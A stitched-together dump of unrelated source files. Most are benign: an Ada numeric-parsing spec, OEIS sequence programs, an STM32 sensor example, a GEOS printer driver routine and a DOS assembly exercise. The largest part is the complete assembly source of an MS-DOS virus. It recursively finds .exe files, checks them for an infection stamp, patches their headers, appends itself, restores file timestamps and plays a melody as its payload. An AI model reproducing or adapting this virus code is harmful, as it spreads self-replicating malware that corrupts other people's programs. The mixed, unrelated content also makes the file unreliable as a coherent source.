00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
src/main/fragment/mos6502-common/vbuyy_lt_vbum1_then_la1.asm | jbrandwood/kickc | 2 | 100424 | <gh_stars>1-10
cpy {m1}
bcc {la1}
|
tools/scitools/conf/understand/ada/ada95/s-valrea.ads | brucegua/moocos | 1 | 10938 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S Y S T E M . V A L _ R E A L --
-- --
-- S p e c --
-- --
-- $Revision: 2 $ --
-- --
-- Copyright (c) 1992,1993,1994 NYU, All Rights Reserved --
-- --
-- The GNAT library is free software; you can redistribute it and/or modify --
-- it under terms of the GNU Library General Public License as published by --
-- the Free Software Foundation; either version 2, or (at your option) any --
-- later version. The GNAT library is distributed in the hope that it will --
-- be useful, but WITHOUT ANY WARRANTY; without even the implied warranty --
-- of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU --
-- Library General Public License for more details. You should have --
-- received a copy of the GNU Library General Public License along with --
-- the GNAT library; see the file COPYING.LIB. If not, write to the Free --
-- Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. --
-- --
------------------------------------------------------------------------------
package System.Val_Real is
pragma Pure (Val_Real);
function Scan_Real
(Str : String;
Ptr : access Positive'Base;
Max : Positive'Base)
return Long_Long_Float;
-- This function scans the string starting at Str (Ptr.all) for a valid
-- real literal according to the syntax described in (RM 3.5(43)). The
-- substring scanned extends no further than Str (Max). There are three
-- cases for the return:
--
-- If a valid real is found after scanning past any initial spaces, then
-- Ptr.all is updated past the last character of the real (but trailing
-- spaces are not scanned out).
--
-- If no valid real is found, then Ptr.all points either to an initial
-- non-blank character, or to Max + 1 if the field is all spaces and the
-- exception Constraint_Error is raised.
--
-- If a syntactically valid real is scanned, but the value is out of
-- range, or, in the based case, the base value is out of range or there
-- is an out of range digit, then Ptr.all points past the real literal,
-- and Constraint_Error is raised.
--
-- Note: these rules correspond to the requirements for leaving the
-- pointer positioned in Text_Io.Get
--
-- Note: if Str is null, i.e. if Max is less than Ptr, then this is a
-- special case of an all-blank string, and Ptr is unchanged, and hence
-- is greater than Max as required in this case.
function Value_Real (Str : String) return Long_Long_Float;
-- Used in computing X'Value (Str) where X is a floating-point type or an
-- ordinary fixed-point type. Str is the string argument of the attribute.
-- Constraint_Error is raised if the string is malformed, or if the value
-- out of range of Long_Long_Float.
end System.Val_Real;
|
programs/oeis/318/A318274.asm | karttu/loda | 0 | 167629 | ; A318274: Triangle read by rows: T(n,k) = n for 0 < k < n and T(n,0) = T(n,n) = 1.
; 1,1,1,1,2,1,1,3,3,1,1,4,4,4,1,1,5,5,5,5,1,1,6,6,6,6,6,1,1,7,7,7,7,7,7,1,1,8,8,8,8,8,8,8,1,1,9,9,9,9,9,9,9,9,1,1,10,10,10,10,10,10,10,10,10,1,1,11,11,11,11,11,11,11,11,11,11,1,1,12
mov $1,1
mov $2,$0
lpb $2,1
trn $3,$2
lpb $3,1
mov $1,$3
mov $3,$2
lpe
sub $2,$3
add $3,$2
trn $2,1
lpe
|
programs/oeis/099/A099483.asm | jmorken/loda | 1 | 98151 | <reponame>jmorken/loda<filename>programs/oeis/099/A099483.asm
; A099483: A Fibonacci convolution.
; 0,1,3,7,18,48,126,329,861,2255,5904,15456,40464,105937,277347,726103,1900962,4976784,13029390,34111385,89304765,233802911,612103968,1602508992,4195423008,10983760033,28755857091,75283811239,197095576626
mov $4,2
mov $5,$0
lpb $4
mov $0,$5
sub $4,1
add $0,$4
sub $0,1
mov $3,8
mov $6,11
lpb $0
sub $0,1
add $3,1
add $3,$6
add $6,$3
lpe
mov $2,$4
div $3,12
lpb $2
mov $1,$3
sub $2,1
lpe
lpe
lpb $5
sub $1,$3
mov $5,0
lpe
|
MSDOS/Virus.MSDOS.Unknown.yanshort.asm | fengjixuchui/Family | 3 | 167463 | <reponame>fengjixuchui/Family
.MODEL SMALL
.CODE
comment /
Good luck!
<NAME>, CICT-BAS, december 1988
/
data_area struc ;Define a pattern for working data
;area
DS_save dw ?
ES_save dw ?
IP_save dw ?
CS_save dw ?
SS_save dw ?
filematch db '*.exe',00h ;Names for files to infect
matchall db '*.*',00h ;needed for the matching procedure
infected dw 00h ;A very useful flag
help_flag dw 00h ;These two flags are needed to
where_from_flag dw 00h ;determine if virus is free running
;or from an infected program
;therefore it's very important
;that where_from_flag value
;is set to zero at assembly time
handle dw ?
ip_old dw ? ;old instruction pointer
cs_old dw ? ;old value of code segment
ss_old dw ?
far_push dw ?
save_push dw ?
buffer1 db '\',63 dup (?)
virus_stamp db 'motherfucker' ;Very hard to obtain in
;a random way
buffer2 db 2b0h dup (?)
new_area db 64 dup (?)
new_data db 64 dup (?)
pointer1 dw ?
pointer2 dw ?
pointer3 dw ?
pointer4 dw ?
pointer5 dw ?
pointer6 dw ?
pointer7 dw ?
pointer8 dw ?
data_area ends
org 100h ;Defined for .com file as virus must
;be able to run on itself
start: call setup_data ;This is a near call therefore it's a
;three byte instruction.It's purpose is
;to catch correct data area address
;even when virus is appended to the
;infected .exe program
adjust equ offset pgm_start ;Known offset value
pgm_start label word ;
virussize equ 2793
work: mov ax,ds ;Save old DS
push cs
pop ds ;Update to needed DS value
mov si,offset buffer.DS_save ;Put old DS in a quiet place
sub si,adjust
add si,bx
mov [si],ax
mov si,offset buffer.ES_save ;Save it because Get DTA side effects
sub si,adjust
add si,bx
mov ax,es
mov [si],ax
push cs ;Imperative because DI usage
pop es
push bx ;It's imperative to always keep
;this value unchanged
mov ax,2f00h ;Get DTA function call
int 21h
mov cx,bx ;save address found
pop bx
mov si,offset buffer.pointer1
sub si,adjust
add si,bx
mov [si],cx
add si,2 ;Locate the segment immediately above
mov ax,es
mov [si],ax
push cs
pop es
mov di,offset buffer.buffer1 ;adjust for first search
inc di ;Jump over the '\'
sub di,adjust
add di,bx
mov dx,0000h
push bx
call search_exe
pop bx
mov si,offset buffer.where_from_flag
sub si,adjust
add si,bx
cmp word ptr [si],0000h
jnz infected_run
int 020H
infected_run:
mov si,offset buffer.pointer1
sub si,adjust
add si,bx
mov dx,[si]
push ds
mov ax,[si+2]
mov ds,ax
push bx
mov ax,1a00h
int 21h
pop bx
pop ds ;Restore original DTA
mov si,offset buffer.ES_save
sub si,adjust
add si,bx
mov ax,[si]
mov es,ax ;Restore ES
;Here you can do whatever you want
push bx
call mary_proc
pop bx
mov si,offset buffer.IP_save
sub si,adjust
add si,bx
mov ax,[si]
mov dx,[si+2]
mov si,offset buffer.far_push ;Restore original code
sub si,adjust ;segment
add si,bx
mov cx,[si]
push ax
mov ax,cs
sub ax,cx
mov di,ax ;For stack
add dx,ax
pop ax
mov si,offset buffer.SS_save
sub si,adjust ;Restore stack segment
add si,bx
mov cx,word ptr [si]
add cx,di
push es
pop ds
cli
mov ss,cx
sti
push dx
push ax
retf
search_exe PROC
push si
push dx
call transfer_filespec ;transfer filename in another
;working area
call find_first ;try to find a first match
jc not_here ;first match not found
call try_to_infect ;if found try to infect
;infected != 0 if success
mov si,offset buffer.infected
sub si,adjust
add si,bx
test word ptr [si],0ffffh
jz try_next
jmp quiet_exit
try_next:
call find_next ;If infection was not succesful
;try once more
jc not_here
call try_to_infect ;If match found try to infect
mov si,offset buffer.infected ;again
sub si,adjust
add si,bx
test word ptr [si],0ffffh
jz try_next
jmp quiet_exit ;quiet exit simply jumps
;to a return instruction
not_here:
pop dx ;If first searches are
push dx ;unsuccesful try a '*.*' match
call search_all
call find_first
jnc attribute_test ;i.e. expect probably to
;find a subdirectory
quiet_exit:
pop dx
pop si
ret
attribute_test:
mov si,dx ;offset of DTA
test byte ptr [si+015h],010h ;where attribute byte is to
;be found.Try first with
;subdirectory attribute
jne dir_found ;subdirectory found
more_tries:
call find_next ;Since the search was initiated
;with '*.*' if this is not a
;directory try to found one
jc quiet_exit ;No sense to search more
test byte ptr [si+015h],010h
jz more_tries ;Search to the end
dir_found:
cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory
;mark '.'
jz more_tries ;looking for files no
;subdirectories
call dta_compute ;Valid entry, now set some DTA
;and continue to search
push ax
mov ah,01Ah ;Set DTA function call
int 021h
pop ax
push si
mov si,offset buffer.infected
sub si,adjust
add si,bx
test word ptr [si],0ffffh
pop si
jnz quiet_exit
jmp more_tries
search_exe ENDP
dta_compute PROC
push di ;Save some registers
push si
push ax
push bx
cld ;Up count for SI,DI pair
mov si,dx ;DTA address to SI
add si,01EH ;and add subdirectory
;name offset
store_loop:
lodsb
stosb
or al,al
jne store_loop ;store loop
std
stosb
mov al,05Ch ;Put in place the path name
;constructor
stosb
add di,2 ;Adjust di for new searches
call search_exe ;
;a heavily recursion
;
pop bx ;some cleanup and exit
;
pop ax
pop si
pop di
ret
dta_compute ENDP
try_to_infect PROC
push ax
push bx
push cx
push dx
push si
push di
push es
push bx
mov ax,2f00h ;Get DTA function call
int 21h
mov ax,bx
pop bx
mov si,offset buffer.pointer3
sub si,adjust
add si,bx
mov [si],ax ;Offset saved
add si,2
mov ax,es
mov [si],ax
pop es ;Segment located just above
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
push bx
mov ax,1a00h
int 21h ;Set DTA function call
pop bx ;It's very important to
;save BX in all calls
mov di,offset buffer.new_area
mov si,offset buffer.buffer1
sub di,adjust
sub si,adjust
add di,bx
add si,bx
cld ;Move previously found path-
;name or filename to new
;data area
move_path:
lodsb
stosb
or al,al
jnz move_path
std ;adjust DI to recieve
mov al,'\' ;filename.
mov cx,0040h
std ;Search backward
repne scasb
mov si,offset buffer.pointer3
sub si,adjust
add si,bx
mov ax,[si]
mov si,ax
add di,2
o_kay:
add si,001eh ;The beginning of the
;filename...
cld ;Now move name
move_fnm:
lodsb
stosb
or al,al
jnz move_fnm
push dx
push bx
mov dx,offset buffer.new_area
sub dx,adjust
add dx,bx
mov ax,3d02h ;Open file with handle
;for read/write
int 21h
pop bx
pop dx
jnc go_ahead ;In case file cannot be opened
jmp error_exit
go_ahead:
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov [si],ax ;Save handle
push bx
mov bx,ax ;Prepare for lseek
push dx
mov cx,0000h ;Look at the end of the file
mov dx,0000h ;Offset of -12 from the end
;of the file
mov ax,4202h ;Lseek function call
int 21h
mov cx,dx
pop dx
pop bx
jnc compute_length
jmp close_error
compute_length:
sub ax,000ch
sbb cx,0000h ;Exact position
save_offset: ;
mov si,offset buffer.pointer5
sub si,adjust
add si,bx
mov [si],ax
add si,2
mov [si],cx
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov dx,ax
mov ax,4200h ;From beginning of file
int 21h ;Lseek function call
pop dx
pop bx
jnc set_buffer
jmp close_error
set_buffer:
push bx
push dx
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si] ;Load handle
mov cx,000ch
mov ax,3f00h
int 21h ;Read function call
pop dx
pop bx
jnc read_ok
jmp close_error
read_ok:
mov si,offset buffer.virus_stamp
mov di,offset buffer.new_data
sub si,adjust
sub di,adjust
add si,bx
add di,bx
mov cx,12 ;Length of strings to
;compare
repe cmpsb
pushf
mov si,offset buffer.infected
sub si,adjust
add si,bx
mov word ptr [si],0000h
popf
jnz infect_it
close_error:
mov si,offset buffer.handle
sub si,adjust
add si,bx
push bx
mov bx,[si]
mov ax,3e00h ;Close file function call
int 21h
pop bx
jmp error_exit
infect_it:
mov si,offset buffer.infected
sub si,adjust
add si,bx
mov word ptr [si],7777h
mov si,offset buffer.where_from_flag
sub si,adjust
add si,bx
mov ax,[si]
sub si,2
mov [si],ax ;This code effectively moves
;where_from_flag into help_flag
add si,2
mov [si],5a5ah ;Ready to infect
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
xor cx,cx
xor dx,dx
mov ax,4200h ;From beginning of file
int 21h ;Lseek function call
pop dx
pop bx
jnc set_new_data
jmp append_ok
set_new_data:
push bx
push dx
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si] ;Load handle
mov cx,001bh ;Read formatted exe header
mov ax,3f00h
int 21h ;Read function call
pop dx
pop bx
jnc read_header
jmp append_ok
read_header:
nop ;some code to modify header
;
mov si,offset buffer.pointer5
sub si,adjust
add si,bx
mov ax,[si]
add si,2
add ax,0ch
adc word ptr [si],0000h
sub si,2
mov [si],ax ;This code restores original
;filelength
mov si,offset buffer.new_data
sub si,adjust
add si,bx
mov ax,[si]
cmp ax,5a4dh ;check for valid exe file
jz valid_exe
jmp append_ok
valid_exe:
mov ax,[si+8] ;Load module size
xor dx,dx
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1 ;Multiply by 16
push ax
push dx ;Adjust new size
push cx
mov dx,virussize-896+64
push dx
mov cx,0009h
shr dx,cl
add word ptr [si+4],dx
pop dx
and dx,01ffh
add dx,word ptr [si+2]
cmp dx,512
jl adjust_okay
sub dx,512
inc word ptr [si+4]
adjust_okay:
mov word ptr [si+2],dx
pop cx
pop dx
pop ax
push si ;This SI is very useful so save it
mov si,offset buffer.pointer5
sub si,adjust
add si,bx
sub [si],ax
mov ax,[si]
sbb [si+2],dx
mov dx,[si+2] ;the byte size of the load module
pop si
push ax
push dx
mov ax,[si+14h]
mov dx,[si+16h] ;Get CS:IP value
mov cx,[si+0eh] ;Get SS value
push si
mov si,offset buffer.IP_save
sub si,adjust
add si,bx
xchg [si],ax
xchg [si+2],dx
mov si,offset buffer.SS_save
sub si,adjust
add si,bx
xchg [si],cx
mov si,offset buffer.ip_old
sub si,adjust
add si,bx
mov [si],ax
mov [si+2],dx
mov si,offset buffer.ss_old
sub si,adjust
add si,bx
mov [si],cx
pop si
pop dx
pop ax
push ax
push dx
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1 ;Multiply by 16
mov cx,0008h
shl dx,cl
mov cx,0004h
shr ax,cl ;A very obscure algorithm to make
;a segment:offset pair
mov [si+14h],ax
mov [si+16h],dx ;Infected values
push si
mov si,offset buffer.far_push
sub si,adjust
add si,bx
xchg [si],dx
mov word ptr [si+2],dx
pop si
pop dx
pop ax
add ax,virussize ;
adc dx,0000h
mov cx,0003h
mul_loop:
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1 ;Multiply by 4096
loop mul_loop
or ax,ax
jz exact_value
inc dx
exact_value:
mov [si+0eh],dx ;Infected stack segment
;Write back infected header
push si
push bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov ax,5700h ;Get time function
int 21h
pop bx
pop si
jnc correct_time
jmp append_ok1
correct_time:
push cx
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
xor cx,cx
xor dx,dx
mov ax,4200h ;From beginning of file
int 21h ;Lseek function call
pop dx
pop bx
pop cx
jnc continue_infection
jmp append_ok1
continue_infection:
push cx
push dx
push bx
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si] ;Load handle
mov cx,001bh ;Write infected exe header
mov ax,4000h
int 21h ;Write function call
pop bx
pop dx
pop cx
jnc glue_virus
jmp append_ok1
glue_virus:
push cx
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
xor cx,cx
xor dx,dx
mov ax,4202h ;From the end of file
int 21h ;Lseek function call
pop dx
pop bx
pop cx
jnc write_data
jmp append_ok1
write_data:
mov si,offset buffer.handle
sub si,adjust
add si,bx
push dx
push cx
mov dx,bx
sub dx,3 ;The starting three byte
;call instruction
push es
push bx
push dx
push si
mov ax,2f00h
int 21h
pop si
pop dx
push es
push bx
push si
mov ax,1a00h
int 21h
pop si
mov bx,[si] ;Load handle
mov cx,virussize-896+64 ;Length of virus obtained
mov ax,4000h ;with dir
int 21h
lahf ;Write function call
pop bx
pop es
push ds
push es
pop ds
mov dx,bx
push ax
mov ax,1a00h
int 21h
pop ax
pop ds
pop bx
pop es
pop cx
pop dx
sahf
jnc put_stamp ;Error or not file
jmp append_ok1 ;is closed
put_stamp:
push bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov ax,5701h ;Set time function
int 21h
pop bx
append_ok1:
mov si,offset buffer.ip_old ;Restore previous CS:IP values
sub si,adjust
add si,bx
mov ax,[si]
mov dx,[si+2]
mov si,offset buffer.IP_save
sub si,adjust
add si,bx
mov [si],ax
mov [si+2],dx
mov si,offset buffer.save_push
sub si,adjust
add si,bx
mov ax,[si]
mov word ptr [si-2],ax
mov si,offset buffer.ss_old
sub si,adjust
add si,bx
mov ax,[si]
mov si,offset buffer.SS_save
sub si,adjust
add si,bx
mov word ptr [si],ax
append_ok:
mov si,offset buffer.help_flag
sub si,adjust
add si,bx
mov ax,[si]
add si,2
mov [si],ax ;This code effectively moves
;help_flag into where_from_flag
jmp close_error ;
error_exit:
mov si,offset buffer.pointer3
sub si,adjust
add si,bx
mov dx,[si] ;Restore original DTA
add si,2
mov ax,[si]
push ds
mov ds,ax
mov ax,1a00h ;Set DTA function call
int 21h
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
try_to_infect ENDP
transfer_filespec PROC
push si
mov si,offset buffer.filematch ;Transfer name to the working
;area
sub si,adjust
add si,bx
call byte_move
pop si
ret
transfer_filespec ENDP
search_all PROC
push si
mov si,offset buffer.matchall ;This is the '*.*' filename
sub si,adjust
add si,bx
call byte_move
pop si
ret
search_all ENDP
byte_move PROC
push ax
push di
cld
move_loop:
lodsb
stosb
or al,al ;The string to move is ASCIIZ
jne move_loop
pop di
pop ax
ret
byte_move ENDP
find_first PROC
push cx
push bx
cmp dx,0000h
jnbe over_set
mov dx,offset buffer.buffer2 ;Set Data Transfer Area
sub dx,adjust ;or Disk Transfer area
add dx,bx ;
over_set:
add dx,02Bh
mov cx,00010h ;Attribute byte for
;directory search
mov ah,01ah
int 021h ;Set DTA function call
pop bx
push bx
push dx
mov dx,offset buffer.buffer1
sub dx,adjust
add dx,bx
mov ah,04eh ;find first
;function call
int 021h
pop dx
pop bx
pop cx
ret
find_first ENDP
find_next PROC
push cx
push bx
push dx
mov dx,offset buffer.buffer1
sub dx,adjust
add dx,bx
mov cx,00010h
mov ah,04fh ;Find next function call
int 021h
pop dx
pop bx
pop cx
ret
find_next ENDP
delay PROC
push ax
push bx
push cx
push dx
mov ah,2ch ;Read current time
int 21h
mov ah,ch
add al,cl
add bh,dh
add bl,dl
cmp bl,100
jb secs
sub bl,100
inc bh
secs: cmp bh,60
jb mins
sub bh,60
inc al
mins: cmp al,60
jb hours
sub al,60
inc ah
hours: cmp ah,24
jne tcheck
sub ah,ah
tcheck: push ax
mov ah,2ch
int 21h
pop ax
cmp cx,ax
ja tdquit
jb tcheck
cmp dx,bx
jb tcheck
tdquit: pop dx
pop cx
pop bx
pop ax
ret
delay ENDP
sound PROC
push ax
push cx
push dx
push di
mov al,0b6h
out 43h,al
mov dx,14h
mov ax,533h*896
div di
out 42h,al
mov al,ah
out 42h,al
in al,61h
mov ah,al
or al,3
out 61h,al
mov al,cl
call delay
mov al,ah
out 61h,al
pop di
pop dx
pop cx
pop ax
ret
sound ENDP
music_play PROC
push bx
push cx
push di
push si
push bp
freq:
mov di,[si]
cmp di,0ffffh
je end_play
mov bl,ds:[bp]
sub cl,cl
sub bh,bh
call sound
add si,2
inc bp
jnz freq
end_play:
pop bp
pop si
pop di
pop cx
pop bx
ret
music_play ENDP
mary_proc PROC
push bx
push bp
mov si,offset mary_freq
mov bp,offset mary_time
sub si,adjust
sub bp,adjust
add si,bx
add bp,bx
call music_play
pop bp
pop bx
ret
mary_proc ENDP
mary_freq dw 262,262,293,329,262,329,293,196
dw 262,262,293,329,262,262
dw 262,262,293,329,349,329,293,262
dw 246,196,220,246,262,262
dw 220,246,220,174,220,246,262,220
dw 196,220,196,174,164,174,196
dw 220,246,220,174,220,246,262,220
dw 196,262,246,293,262,262,0ffffh
mary_time db 8 dup(25)
db 4 dup(25), 50, 50
db 8 dup(25)
db 4 dup(25), 50, 50
db 26, 25, 26, 5 dup(25)
db 26, 25, 26, 3 dup(25), 30
db 26, 25, 26, 4 dup(25), 30
db 4 dup(25), 50, 50
setup_data:
cli
pop bx ;This will catch instruction pointer
push bx
sti ;value and after that restore stack
ret ;pointer value
buffer data_area <> ;Reseve data_area space
END start |
libmikeos/src.os/os_get_random.asm | mynameispyo/InpyoOS | 0 | 20376 |
; @@@ unsigned int mikeos_get_random(unsigned int low, unsigned int high);
%include "os_vector.inc"
section .text
use16
global _mikeos_get_random
_mikeos_get_random:
push bp
mov bp, sp
mov ax, [bp + 4]
mov bx, [bp + 6]
mov bp, os_get_random
call bp
mov ax, cx
pop bp
ret
|
Driver/Printer/PrintCom/UI/uiEval.asm | steakknife/pcgeos | 504 | 85708 |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: print drivers
FILE: uiEval.asm
AUTHOR: <NAME>
ROUTINES:
Name Description
---- -----------
PrintEvalUI gets ui info from the gewneric tree.
PrintStuffUI returns the info from the JobParameters to
the generic tree.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 5/92 Initial revision
Dave 3/93 Added stuff routines
DESCRIPTION:
$Id: uiEval.asm,v 1.1 97/04/18 11:50:31 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrintEvalUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: looks in the device info for the appropriate routine to call
to evaluate the data passed in the object tree.
CALLED BY: EXTERNAL
PASS: ax = Handle of JobParameters block
cx = Handle of the duplicated generic tree
displayed in the main print dialog box.
dx = Handle of the duplicated generic tree
displayed in the options dialog box
es:si = JobParameters structure
bp = PState segment
RETURN: nothing
DESTROYED: ax, bx, cx, si, di, es, ds
PSEUDO CODE/STRATEGY:
Make sure the JobParameters handle gets through!
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 01/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintEvalUI proc far
mov bx,PRINT_UI_EVAL_ROUTINE
call PrintCallEvalRoutine
ret
PrintEvalUI endp
PrintCallEvalRoutine proc near
uses bp
.enter
push es,bx
mov es,bp ;get hold of PState address.
mov bx,es:[PS_deviceInfo] ; handle to info for this printer.
push ax
call MemLock
mov ds, ax ; ds points at device info segment.
pop ax
mov di, ds:[PI_evalRoutine]
call MemUnlock ; unlock the puppy
pop es,bx
tst di
jz exit ; if no routine, just exit.
call di ;call the approp. eval routine.
exit:
clc
.leave
ret
PrintCallEvalRoutine endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrintStuffUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
stuffs the info stored in JobParameters back into the generic tree.
CALLED BY:
EXTERNAL
PASS:
bp = PState segment
cx = Handle of the duplicated generic tree
displayed in the main print dialog box.
dx = Handle of the duplicated generic tree
displayed in the options dialog box
es:si = JobParameters structure
ax = Handle of JobParameters block
RETURN:
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 03/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintStuffUI proc far
mov bx,PRINT_UI_STUFF_ROUTINE
call PrintCallEvalRoutine
ret
PrintStuffUI endp
|
src/FRP/LTL/ISet/Until.agda | agda/agda-frp-ltl | 21 | 1706 | open import Data.Product using ( _ร_ )
open import FRP.LTL.ISet.Core using ( ISet ; โ_โ ; Mโฆ_โง )
open import FRP.LTL.Time using ( Time )
open import FRP.LTL.Time.Bound using ( fin ; _โบ_ )
open import FRP.LTL.Time.Interval using ( [_โฉ ; sing )
module FRP.LTL.ISet.Until where
data _Until_ (A B : ISet) (t : Time) : Set where
now : Mโฆ B โง (sing t) โ (A Until B) t
later : โ {u} โ .(tโบu : fin t โบ fin u) โ Mโฆ A โง [ tโบu โฉ โ Mโฆ B โง (sing u) โ (A Until B) t
_U_ : ISet โ ISet โ ISet
A U B = โ A Until B โ |
examples/si7060/main.adb | ekoeppen/STM32_Generic_Ada_Drivers | 1 | 21693 | <filename>examples/si7060/main.adb
with Interfaces; use Interfaces;
with STM32_SVD; use STM32_SVD;
with Drivers.Text_IO;
with STM32GD.Board;
with Drivers.Si7060;
procedure Main is
package Temp_Sensor is new Drivers.Si7060 (Address => 16#32#, I2C => STM32GD.Board.I2C);
package Text_IO is new Drivers.Text_IO (USART => STM32GD.Board.USART);
Line : String (1 .. 8);
Len : Natural;
Temperature : Integer;
begin
STM32GD.Board.Init;
STM32GD.Board.LED.Set;
if not Temp_Sensor.Init then
Text_IO.Put_Line ("Sensor not found");
loop STM32GD.Wait_For_Interrupt; end loop;
end if;
loop
Text_IO.Put_Line ("Press <enter> to measure");
Text_IO.Get_Line (Line, Len);
STM32GD.Board.LED.Toggle;
if Temp_Sensor.Temperature_x100 (Temperature) then
Text_IO.Put_Integer (Temperature);
Text_IO.New_Line;
end if;
end loop;
end Main;
|
2018-11/retardedAO/AO-TP-EXOs/TP-EXO4.asm | djalilhebal/shit | 3 | 178535 | ; TP-EXO4: Reads a 2-digit number and prints it on the next line
pile segment para stack 'pile'
db 256 dup(0)
pile ends
data segment
buf db 2+1, ?, 2+1 dup(?) ; maxLength+1 + actualLength + data
; That +1 byte is for reading the enter character.
num db 13, 10, '00$' ; template, sorta
data ends
code segment
main proc far
assume cs:code, ds:data, ss:pile
mov ax, data
mov ds, ax
mov ah, 0Ah ; read buffer function
mov dx, offset buf
int 21h
mov DL, buf[1] ; DL = "Data Length"
cmp DL, 1
je oneDigit
; twoDigits
mov DH, buf[2] ; DH = "Data Holder"
mov num[2], DH
mov DH, buf[3]
mov num[3], DH
jmp print
oneDigit:
mov DH, buf[2]
mov num[3], DH
print:
mov ah, 09h ; print string function
mov dx, offset num
int 21h
